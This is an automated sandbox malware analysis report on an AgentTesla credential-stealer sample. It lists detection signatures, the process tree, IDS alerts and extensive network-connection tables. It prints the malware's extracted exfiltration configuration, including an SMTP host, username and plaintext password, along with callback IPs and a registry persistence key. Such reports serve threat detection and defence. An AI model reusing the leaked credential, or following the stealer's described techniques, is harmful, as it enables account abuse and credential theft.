Edit tour

Windows Analysis Report
POs#U034fx#U034fl#U034fx#U034f..exe

Overview

General Information

Sample name:	POs#U034fx#U034fl#U034fx#U034f..exe renamed because original name is a hash value
Original sample name:	POsxlx..exe
Analysis ID:	1406752
MD5:	78ab3f5907770357b36dd7d3ae612125
SHA1:	abdb9131b868cf9c92e1deaca80871ae5963a0db
SHA256:	33f038a865a11f88acdd1a781e956cb14c6a4fa2af37b598a28e01f142ec19e7
Tags:	exe
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected AgentTesla

Connects to many IPs within the same subnet mask (likely port scanning)

Connects to many ports of the same IP (likely port scanning)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Injects a PE file into a foreign processes

Installs a global keyboard hook

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Outbound RDP Connections Over Non-Standard Tools

Sigma detected: Potentially Suspicious Malware Callback Communication

Sigma detected: Suspicious Outbound Kerberos Connection

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses known network protocols on non-standard ports

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Connects to several IPs in different countries

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file does not import any functions

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Outbound SMTP Connections

Tries to load missing DLLs

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

POs#U034fx#U034fl#U034fx#U034f..exe (PID: 6484 cmdline: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe MD5: 78AB3F5907770357B36DD7D3AE612125)

InstallUtil.exe (PID: 42536 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

InstallUtil.exe (PID: 42560 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

WerFault.exe (PID: 42716 cmdline: C:\Windows\system32\WerFault.exe -u -p 6484 -s 26904 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

YZbrmyt.exe (PID: 42928 cmdline: "C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

conhost.exe (PID: 42948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

YZbrmyt.exe (PID: 2656 cmdline: "C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

conhost.exe (PID: 4648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "smtp.fvpumps.com", "Username": "abuse1@fvpumps.com", "Password": "%Babt$D4"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000006.00000002.2582192043.00000000028D4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.2582192043.00000000028CC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.2577350351.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2577350351.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.2582192043.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2582192043.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: InstallUtil.exe PID: 42536	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 42536	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
6.2.InstallUtil.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33934:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x339a6:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33a30:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33ac2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33b2c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33b9e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33c34:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33cc4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548

Sigma Signatures

System Summary

Sigma detected: Outbound RDP Connections Over Non-Standard Tools

Source: Network Connection

Author: Markus Neis: Data: DestinationIp: 119.91.214.119, DestinationIsIpv6: false, DestinationPort: 3389, EventID: 3, Image: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe, Initiated: true, ProcessId: 6484, Protocol: tcp, SourceIp: 192.168.2.11, SourceIsIpv6: false, SourcePort: 51313

Sigma detected: Potentially Suspicious Malware Callback Communication

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.201, DestinationIsIpv6: false, DestinationPort: 4444, EventID: 3, Image: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe, Initiated: true, ProcessId: 6484, Protocol: tcp, SourceIp: 192.168.2.11, SourceIsIpv6: false, SourcePort: 49873

Sigma detected: Suspicious Outbound Kerberos Connection

Source: Network Connection

Author: Ilyas Ochkov, oscd.community: Data: DestinationIp: 5.161.103.41, DestinationIsIpv6: false, DestinationPort: 88, EventID: 3, Image: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe, Initiated: true, ProcessId: 6484, Protocol: tcp, SourceIp: 192.168.2.11, SourceIsIpv6: false, SourcePort: 51947

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 103.186.8.162, DestinationIsIpv6: false, DestinationPort: 8080, EventID: 3, Image: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe, Initiated: true, ProcessId: 6484, Protocol: tcp, SourceIp: 192.168.2.11, SourceIsIpv6: false, SourcePort: 49720

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe, ProcessId: 42536, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YZbrmyt

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 160.248.80.91, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe, Initiated: true, ProcessId: 6484, Protocol: tcp, SourceIp: 192.168.2.11, SourceIsIpv6: false, SourcePort: 49718

Snort Signatures

ETPRO TROJAN DNS Query to Hello2Malware Domain - Source IP: 192.168.2.11 - Destination IP: 1.1.1.1

Timestamp:	03/11/24-16:42:24.425354
SID:	2856462
Source Port:	53207
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ETPRO TROJAN DNS Query to Hello2Malware Domain - Source IP: 192.168.2.11 - Destination IP: 1.1.1.1

Timestamp:	03/11/24-16:42:24.425354
SID:	2856398
Source Port:	53207
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Observed Hello2Malware Domain - Source IP: 192.168.2.11 - Destination IP: 104.21.57.121

Timestamp:	03/11/24-16:42:24.659530
SID:	2856401
Source Port:	54060
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Observed Hello2Malware Domain in TLS SNI - Source IP: 192.168.2.11 - Destination IP: 104.21.57.121

Timestamp:	03/11/24-16:42:24.659530
SID:	2856465
Source Port:	54060
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: POs#U034fx#U034fl#U034fx#U034f..exe

Avira: detected

Found malware configuration

Source: 6.2.InstallUtil.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "smtp.fvpumps.com", "Username": "abuse1@fvpumps.com", "Password": "%Babt$D4"}

Multi AV Scanner detection for submitted file

Source: POs#U034fx#U034fl#U034fx#U034f..exe

ReversingLabs: Detection: 60%

Machine Learning detection for sample

Source: POs#U034fx#U034fl#U034fx#U034f..exe

Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 140.82.113.4:443 -> 192.168.2.11:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 222.255.238.159:443 -> 192.168.2.11:50832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.57.121:443 -> 192.168.2.11:54060 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.11:55224 version: TLS 1.2

Source: POs#U034fx#U034fl#U034fx#U034f..exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: InstallUtil.pdb\rvr hr_CorExeMainmscoree.dll source: InstallUtil.exe, 00000006.00000002.2585853476.0000000005B82000.00000004.00000020.00020000.00000000.sdmp, YZbrmyt.exe, 0000000B.00000000.1665928586.0000000000362000.00000002.00000001.01000000.0000000A.sdmp, YZbrmyt.exe.6.dr
Source:	Binary string: InstallUtil.pdb source: InstallUtil.exe, 00000006.00000002.2585853476.0000000005B82000.00000004.00000020.00020000.00000000.sdmp, YZbrmyt.exe, 0000000B.00000000.1665928586.0000000000362000.00000002.00000001.01000000.0000000A.sdmp, YZbrmyt.exe.6.dr

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2856462 ETPRO TROJAN DNS Query to Hello2Malware Domain 192.168.2.11:53207 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2856398 ETPRO TROJAN DNS Query to Hello2Malware Domain 192.168.2.11:53207 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2856465 ETPRO TROJAN Observed Hello2Malware Domain in TLS SNI 192.168.2.11:54060 -> 104.21.57.121:443
Source: Traffic	Snort IDS: 2856401 ETPRO TROJAN Observed Hello2Malware Domain 192.168.2.11:54060 -> 104.21.57.121:443

Connects to many IPs within the same subnet mask (likely port scanning)

Source: global traffic	TCP traffic: Count: 11 IPs: 212.110.188.222,212.110.188.189,212.110.188.211,212.110.188.213,212.110.188.202,212.110.188.198,212.110.188.220,212.110.188.193,212.110.188.195,212.110.188.216,212.110.188.207
Source: global traffic	TCP traffic: Count: 12 IPs: 103.47.93.236,103.47.93.225,103.47.93.219,103.47.93.216,103.47.93.194,103.47.93.25,103.47.93.221,103.47.93.210,103.47.93.242,103.47.93.231,103.47.93.220,103.47.93.252
Source: global traffic	TCP traffic: Count: 15 IPs: 188.132.222.171,188.132.222.194,188.132.222.141,188.132.222.7,188.132.222.167,188.132.222.9,188.132.222.3,188.132.222.52,188.132.222.5,188.132.222.40,188.132.222.51,188.132.222.39,188.132.222.38,188.132.222.12,188.132.222.14
Source: global traffic	TCP traffic: Count: 10 IPs: 72.10.160.170,72.10.160.91,72.10.160.90,72.10.160.174,72.10.160.173,72.10.160.172,72.10.160.171,72.10.160.93,72.10.160.92,72.10.160.94
Source: global traffic	TCP traffic: Count: 10 IPs: 184.178.172.13,184.178.172.23,184.178.172.26,184.178.172.14,184.178.172.25,184.178.172.17,184.178.172.28,184.178.172.3,184.178.172.5,184.178.172.18

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 103.216.51.36 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 62.171.131.101 ports 41055,25847,44827,29497,2,4,5,7,8
Source: global traffic	TCP traffic: 45.11.95.166 ports 6012,6014,6003,6002,6005,6004,6015,0,1,4,6,6009,6008
Source: global traffic	TCP traffic: 173.212.209.216 ports 27138,1,2,3,7,8
Source: global traffic	TCP traffic: 45.11.95.165 ports 6010,6012,5034,5045,5212,5036,5213,5040,1,2,5,5038,5214,5039,5219
Source: global traffic	TCP traffic: 207.180.234.220 ports 45876,48963,39323,42823,36946,3,6,7,39737,37736
Source: global traffic	TCP traffic: 67.213.210.118 ports 2,58703,4,5,9,54924
Source: global traffic	TCP traffic: 132.148.245.247 ports 7183,1,60349,3,26295,7,8
Source: global traffic	TCP traffic: 107.180.95.177 ports 64731,63951,1,3,5,6,9,7128,1405
Source: global traffic	TCP traffic: 148.72.23.56 ports 42312,36111,3260,0,6,60069,9,4833
Source: global traffic	TCP traffic: 164.92.86.113 ports 64110,63358,62987,57391,1,55651,3,5,7,9,50564,60283
Source: global traffic	TCP traffic: 162.214.102.195 ports 34227,2,56755,3,4,7,60891,50366
Source: global traffic	TCP traffic: 203.96.177.211 ports 12183,43839,3,4,5,55005,8,48553,15901
Source: global traffic	TCP traffic: 107.180.88.173 ports 44568,0,2,5,35774,59820,8,9,36503
Source: global traffic	TCP traffic: 162.241.6.97 ports 41274,46783,44607,59991,45629,0,31794,4,6,50563,7,60651
Source: global traffic	TCP traffic: 72.167.38.7 ports 15410,45650,0,1,2,8,9,19802
Source: global traffic	TCP traffic: 162.241.158.204 ports 63360,41274,46783,44607,59991,1,31794,2,4,52980,50563,7,60651
Source: global traffic	TCP traffic: 37.187.77.58 ports 64494,14470,49507,21861,59870,0,52593,31355,1,3139,7,18936,13412,13574,37920,19767,10710,29380
Source: global traffic	TCP traffic: 92.204.135.37 ports 26927,63462,16591,8623,22942,0,62969,1,58604,5,9,20491,55019,34824,32524,33899
Source: global traffic	TCP traffic: 82.223.121.72 ports 15464,64871,11075,27137,4,5,56002,8,9,4985
Source: global traffic	TCP traffic: 72.10.160.90 ports 18333,29967,23685,29129,29529,1811,2589,24397,10055,17893,29919,21011,9335,29813,3051,29517,0,1,3601,29197,3,5,9,16205,4337,30951
Source: global traffic	TCP traffic: 72.10.160.92 ports 28709,5123,5,26077,7,5775
Source: global traffic	TCP traffic: 72.10.160.170 ports 5385,5321,26887,29585,3,31571,28257,5,8,3801
Source: global traffic	TCP traffic: 72.10.160.173 ports 0,1,1795,6,7,10677
Source: global traffic	TCP traffic: 72.10.160.171 ports 2881,26315,1,2,3,31571,5,6,5369
Source: global traffic	TCP traffic: 62.182.114.164 ports 2,3,5,6,59623,9
Source: global traffic	TCP traffic: 51.222.241.157 ports 40351,22538,44029,51718,36363,27206,0,1,3,4,5,30011,2563,46286
Source: global traffic	TCP traffic: 162.214.90.49 ports 51918,0,4,5,58740,7,8,46430
Source: global traffic	TCP traffic: 128.199.221.91 ports 7176,49865,8004,33383,21605,4,5,6,8,9
Source: global traffic	TCP traffic: 160.248.80.91 ports 8080,2525,587,5,7,8,80
Source: global traffic	TCP traffic: 191.103.219.225 ports 48612,1,2,4,6,8
Source: global traffic	TCP traffic: 163.172.131.178 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 167.172.109.12 ports 39452,46249,39533,37355,40825,3,5,7,41491
Source: global traffic	TCP traffic: 88.211.85.169 ports 42931,1,2,3,4,9
Source: global traffic	TCP traffic: 107.180.88.41 ports 37597,62578,24834,2,3,4,58037,57642,8
Source: global traffic	TCP traffic: 162.214.227.68 ports 43435,48414,63112,45540,34071,55392,0,1,3,4,55029,31042,60433,7,54047,56796,31825,37976,51923,52208
Source: global traffic	TCP traffic: 148.72.206.84 ports 2536,2,3,5,6,58842
Source: global traffic	TCP traffic: 207.180.198.241 ports 42581,37443,45718,1,2,57327,4,60148,5,8,17228,37209
Source: global traffic	TCP traffic: 161.97.163.52 ports 64120,9045,18693,40301,32092,64109,0,30189,1,2,1798,31125,4,22040,34586,6,29631,55109,34916
Source: global traffic	TCP traffic: 162.241.137.197 ports 0,2,34455,6,60200,36534,61041
Source: global traffic	TCP traffic: 91.142.222.84 ports 22735,57041,2,3,5,7,12266,55718
Source: global traffic	TCP traffic: 103.28.121.58 ports 1,2,3,3128,8,80
Source: global traffic	TCP traffic: 83.151.4.172 ports 47036,0,3,4,6,7
Source: global traffic	TCP traffic: 41.33.203.115 ports 1,1974,1973,4,7,9
Source: global traffic	TCP traffic: 131.0.87.225 ports 0,1,2,5,7,52017
Source: global traffic	TCP traffic: 98.162.25.29 ports 1,3,6,7,9,31679
Source: global traffic	TCP traffic: 51.158.77.220 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 162.214.225.223 ports 37581,54917,43435,63452,49227,43265,49806,34071,58240,40536,0,36129,53340,4,55029,6,8,9,50753,39824
Source: global traffic	TCP traffic: 51.222.241.8 ports 36219,1,2,62916,6,9
Source: global traffic	TCP traffic: 103.35.189.217 ports 1080,1,2,3,3128,8
Source: global traffic	TCP traffic: 41.217.220.214 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 86.110.189.118 ports 42539,2,3,4,5,9
Source: global traffic	TCP traffic: 162.241.50.179 ports 49858,40179,34099,3,6,7,8,48156,37876,53755,31414,35948
Source: global traffic	TCP traffic: 51.158.108.134 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 163.172.137.49 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 51.158.124.167 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 103.212.93.241 ports 45639,3,4,5,6,9
Source: global traffic	TCP traffic: 108.181.132.117 ports 34560,0,3,4,5,6
Source: global traffic	TCP traffic: 146.59.18.246 ports 9755,15860,40975,25810,0,30673,4,5,7,9,49871
Source: global traffic	TCP traffic: 148.66.130.53 ports 8268,31907,7830,56350,23998,0,3,5,6,47891,13305,54209
Source: global traffic	TCP traffic: 50.63.12.33 ports 9367,23859,0,2,25492,14738,4,50781,5,22450
Source: global traffic	TCP traffic: 51.158.108.165 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 51.89.173.40 ports 17982,27887,3100,44719,26545,23313,54570,23854,20435,1,30199,55198,60775,5,8,51511,9,11058,31724
Source: global traffic	TCP traffic: 206.189.145.23 ports 49614,63625,59867,1,4,6,9
Source: global traffic	TCP traffic: 167.86.102.169 ports 1,2,3,6,8,16823
Source: global traffic	TCP traffic: 147.75.92.251 ports 9401,0,1,4,9,10010,10089
Source: global traffic	TCP traffic: 159.223.71.71 ports 59243,56581,59098,2,3,4,61818,59159,52542,5,51187,60377,9,51616
Source: global traffic	TCP traffic: 34.93.157.87 ports 21802,0,1,2,8,8514
Source: global traffic	TCP traffic: 146.59.147.11 ports 62801,0,1,2,6,8
Source: global traffic	TCP traffic: 213.136.79.177 ports 38772,5189,64556,32930,2,3,35358,7,8,13675
Source: global traffic	TCP traffic: 217.52.247.86 ports 1976,1,6,1981,7,9
Source: global traffic	TCP traffic: 45.77.111.135 ports 15082,0,1,2,5,8
Source: global traffic	TCP traffic: 38.54.95.19 ports 8060,0,3128,9080,8,9
Source: global traffic	TCP traffic: 109.75.34.152 ports 59341,1,3,4,5,9
Source: global traffic	TCP traffic: 162.214.121.173 ports 64579,44826,35183,4,5,6,33572,7,9,52577,64382
Source: global traffic	TCP traffic: 20.24.43.214 ports 8123,1,2,3,8,80
Source: global traffic	TCP traffic: 202.40.181.220 ports 1,2,31247,3,4,7
Source: global traffic	TCP traffic: 92.205.61.38 ports 21286,4300,36073,1,2,24183,3,4,8
Source: global traffic	TCP traffic: 162.241.46.40 ports 64353,49401,56241,61579,0,1,4,9,46097
Source: global traffic	TCP traffic: 46.105.44.29 ports 64523,2,3,4,5,6
Source: global traffic	TCP traffic: 195.154.43.184 ports 19058,0,1,5,8,9
Source: global traffic	TCP traffic: 64.227.108.182 ports 14287,1,2,4,7,8
Source: global traffic	TCP traffic: 41.65.55.10 ports 1976,1,6,1981,7,9
Source: global traffic	TCP traffic: 208.109.14.49 ports 46047,37377,22881,1,2,50540,8,42072
Source: global traffic	TCP traffic: 5.252.23.249 ports 1080,1,2,3,3128,8
Source: global traffic	TCP traffic: 38.54.116.9 ports 8080,1,2,3,3128,8,8118
Source: global traffic	TCP traffic: 45.117.179.179 ports 6522,14791,27836,2,35942,5,6,55606
Source: global traffic	TCP traffic: 203.161.32.242 ports 61070,0,4,5,6,50640,52903
Source: global traffic	TCP traffic: 104.128.103.32 ports 64312,1,2,3,4,6
Source: global traffic	TCP traffic: 163.172.147.9 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 163.172.165.36 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 132.148.128.88 ports 26606,8595,29745,20317,2,4,5,29313,7,9
Source: global traffic	TCP traffic: 5.252.23.220 ports 1080,1081,0,1,3128,8
Source: global traffic	TCP traffic: 58.234.116.197 ports 8193,8197,1,7,8,80,9
Source: global traffic	TCP traffic: 51.15.234.222 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 94.23.220.136 ports 43751,25256,2,5,6,29295
Source: global traffic	TCP traffic: 162.241.46.6 ports 41442,62244,60708,34172,0,50062,2,53477,5,6,46097
Source: global traffic	TCP traffic: 162.241.53.72 ports 57495,57364,3,4,5,6,7,53755,62192
Source: global traffic	TCP traffic: 162.215.219.157 ports 41697,48117,1,4,7,8
Source: global traffic	TCP traffic: 147.124.212.31 ports 11070,13276,0,1,24230,7,16844,30479,36779,51825
Source: global traffic	TCP traffic: 121.139.218.165 ports 0,1,3,4,9,31409
Source: global traffic	TCP traffic: 216.10.242.18 ports 40571,15881,0,1,4,5,7,30670
Source: global traffic	TCP traffic: 104.238.111.107 ports 5484,5452,45883,3230,26305,23667,56225,30026,4,5,8,53777,7999
Source: global traffic	TCP traffic: 51.158.96.66 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 43.255.113.232 ports 8082,8083,5,8,80,84,85
Source: global traffic	TCP traffic: 103.176.116.171 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 161.97.170.209 ports 24606,1,2,6,9,62291
Source: global traffic	TCP traffic: 51.158.105.107 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 147.75.34.86 ports 0,10008,1,10007,3,10000,80,10003
Source: global traffic	TCP traffic: 104.247.163.246 ports 54094,3825,2,3,5,8
Source: global traffic	TCP traffic: 185.45.194.176 ports 27639,2,3,6,7,9
Source: global traffic	TCP traffic: 92.204.134.38 ports 52929,25825,9375,15393,7785,42571,25675,29718,3,1555,56177,5,54467,28695,7,51123,30747,9
Source: global traffic	TCP traffic: 52.67.10.183 ports 1,2,3,3128,8,80
Source: global traffic	TCP traffic: 128.199.196.31 ports 21049,0,1,2,27102,7,33661,38832,57715
Source: global traffic	TCP traffic: 88.202.230.103 ports 17045,8896,0,1,13638,4,5,7
Source: global traffic	TCP traffic: 51.15.254.129 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 162.144.36.208 ports 27829,38242,2,3,4,27531,8
Source: global traffic	TCP traffic: 198.23.229.203 ports 15673,1,3,5,6,7
Source: global traffic	TCP traffic: 132.148.245.169 ports 19483,1,3,7,8,38117
Source: global traffic	TCP traffic: 72.167.222.113 ports 12581,2,4,8,4125,9,48892
Source: global traffic	TCP traffic: 67.43.227.228 ports 19599,15079,13141,9039,0,3,26353,9
Source: global traffic	TCP traffic: 67.43.227.227 ports 28723,25127,23973,9053,32445,1,4,2411,7,14751,8811,4711,1959,13537,12723,29095,10049
Source: global traffic	TCP traffic: 67.43.227.226 ports 25639,5791,15143,28847,2,3,5,6,9
Source: global traffic	TCP traffic: 51.79.87.144 ports 41230,8533,22500,41746,0,2,54395,5,18636
Source: global traffic	TCP traffic: 51.68.164.77 ports 16892,2,3,4,8,54504,32824
Source: global traffic	TCP traffic: 159.223.166.21 ports 5078,5199,1372,21898,1,2,3,25154,7,47460
Source: global traffic	TCP traffic: 31.24.44.92 ports 1,2,52173,3,5,7,50687,50109
Source: global traffic	TCP traffic: 67.43.227.230 ports 23685,25491,1,2,4,5,9
Source: global traffic	TCP traffic: 94.131.106.196 ports 1080,1,2,3,3128,8
Source: global traffic	TCP traffic: 75.119.145.169 ports 38023,61344,61553,1,3,4,6
Source: global traffic	TCP traffic: 43.155.165.196 ports 15673,1,3,5,6,7
Source: global traffic	TCP traffic: 67.43.228.254 ports 1,2,32221,7,28971,8,9
Source: global traffic	TCP traffic: 67.43.228.253 ports 14493,7853,26323,24279,0,1,26087,14869,3,31033,28993,5633,1807,6879,3933,9827
Source: global traffic	TCP traffic: 67.43.228.252 ports 4495,4,1499,5,28695,9
Source: global traffic	TCP traffic: 67.43.228.251 ports 24279,0,11339,2,26087,6,7,1265,8
Source: global traffic	TCP traffic: 104.248.158.78 ports 47225,62952,61725,2,5,6,9
Source: global traffic	TCP traffic: 119.81.71.27 ports 8123,1,2,3,8,80
Source: global traffic	TCP traffic: 23.95.209.142 ports 15673,1,3,5,6,7
Source: global traffic	TCP traffic: 92.204.136.149 ports 16691,25137,1,16928,6,53035,9
Source: global traffic	TCP traffic: 148.72.209.174 ports 38088,39027,1,64938,2,4,29544,6,39458,2906,16203,4734,12446
Source: global traffic	TCP traffic: 132.148.167.231 ports 46983,3,4,6,8,9
Source: global traffic	TCP traffic: 198.12.255.193 ports 22785,1,2,6,8,6821,51612
Source: global traffic	TCP traffic: 51.161.131.84 ports 63055,25843,43712,0,58612,2,4,49202,9,19987
Source: global traffic	TCP traffic: 117.160.250.163 ports 8080,8081,9990,0,80,9,81,82,9999,8828
Source: global traffic	TCP traffic: 51.75.126.150 ports 36580,19693,36694,15474,3,11802,4,35632,6,34144,9,4228,37847
Source: global traffic	TCP traffic: 211.222.252.187 ports 8193,8080,8197,1,3,8,80,9
Source: global traffic	TCP traffic: 186.215.87.194 ports 8893,6034,8891,6022,0,2,6,6029
Source: global traffic	TCP traffic: 37.32.98.160 ports 3,5,7,8,8998,37758
Source: global traffic	TCP traffic: 132.148.129.254 ports 9553,0,1,6,7,8,60781
Source: global traffic	TCP traffic: 195.154.243.38 ports 4,5,6,8,9,49685
Source: global traffic	TCP traffic: 64.227.108.25 ports 31908,0,1,3,8,9
Source: global traffic	TCP traffic: 67.43.236.18 ports 17145,13087,7797,22645,1,30333,4,5,7,5879
Source: global traffic	TCP traffic: 135.148.10.161 ports 51507,41146,3970,0,31696,1,5,7,6716
Source: global traffic	TCP traffic: 213.136.78.200 ports 28513,1,2,3,5,8,19925
Source: global traffic	TCP traffic: 67.43.236.20 ports 3335,31295,26693,5239,31733,8705,6705,24725,20001,25917,13175,6961,3011,12627,1,16829,2,3,2973,5,3389,10363,9,18129
